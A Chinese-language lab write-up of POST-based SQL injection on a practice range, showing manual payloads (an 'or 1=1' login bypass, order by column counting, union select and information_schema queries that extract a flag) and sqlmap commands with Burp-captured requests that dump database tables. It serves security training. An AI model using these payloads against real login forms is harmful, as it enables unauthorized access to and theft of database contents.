POST注入靶场练习

题目1

使用手工注入

1、判断是否存在SQL注入

(1)admin'后直接使用-- qwe注释

POST注入靶场练习_第1张图片

(2)使用万能密码

admin     ' or 1=1 -- qwe

POST注入靶场练习_第2张图片

SQL注入成功

2、判断字段数

输入admin' order by 3 -- qwe和admin' order by 4 -- qwe,只有order by 3的时候可以输出,则字段数是3

POST注入靶场练习_第3张图片

3、查找回显点

admiiin' union select 1,2,3 -- qwe

ps:由于网站输出会输出数据库最上面一行数据,与union select 后的数据和admin原本数据冲突,所以代码最头上的需要输出一个不存在的值

POST注入靶场练习_第4张图片

4、利用系统自带库查找数据表和字段

admin' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1-- qwe

查找到flag数据表

POST注入靶场练习_第5张图片

查找到flag字段

admin' union select 1,column_name,3 from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1-- qwe

POST注入靶场练习_第6张图片

5、查找数据

admin' union select 1,flag,3 from flag limit 1,1-- qwe,得到flag

POST注入靶场练习_第7张图片

 

题目二——使用sqlmap+burp

一、设置chorme插件SwitchySharp

http代理设置为本地127.0.0.1,端口自行设计

POST注入靶场练习_第8张图片

二、Burp中查看Proxy Listener

回显是127.0.0.1

POST注入靶场练习_第9张图片

三、开启抓包

在登录框随意输入内容,点击登录,Burp中抓取到数据包

POST注入靶场练习_第10张图片

 

四、使用sqlmap

(1)把Burp抓包的内容复制到sqlmap文件夹下的一个文本文档1.txt

ps:把需要知道的字段前添加*

POST注入靶场练习_第11张图片

(2)输入py -2 sqlmap.py -r 1.txt --level 3 --risk 2,确定查询信息

POST注入靶场练习_第12张图片

(3)查找数据库名

py -2 sqlmap.py -r 1.txt --dbs --level 3 --risk 2

POST注入靶场练习_第13张图片

(3)进入数据库,查看数据表

py -2 sqlmap.py -r 1.txt --D error --tables --level 3 --risk 2

POST注入靶场练习_第14张图片

(4)查看数据库内信息

py -2 sqlmap.py -r 1.txt --D error -T error_flag --dump --level 3 --risk 2

POST注入靶场练习_第15张图片

由于查询的error数据库中的flag都不是真的flag,我又去找了post_error库中的flag,方法同上,找到了flag

POST注入靶场练习_第16张图片

 

题目二——使用sqlmap的--form

(1)查看sql注入信息

py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --level 3 --risk 2

POST注入靶场练习_第17张图片

(2)查找数据库

py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --risk 2 --level 3 --dbs

POST注入靶场练习_第18张图片

剩下步骤和sqlmap+Burp方法一样

 

 

 

你可能感兴趣的:(SQL注入,安全)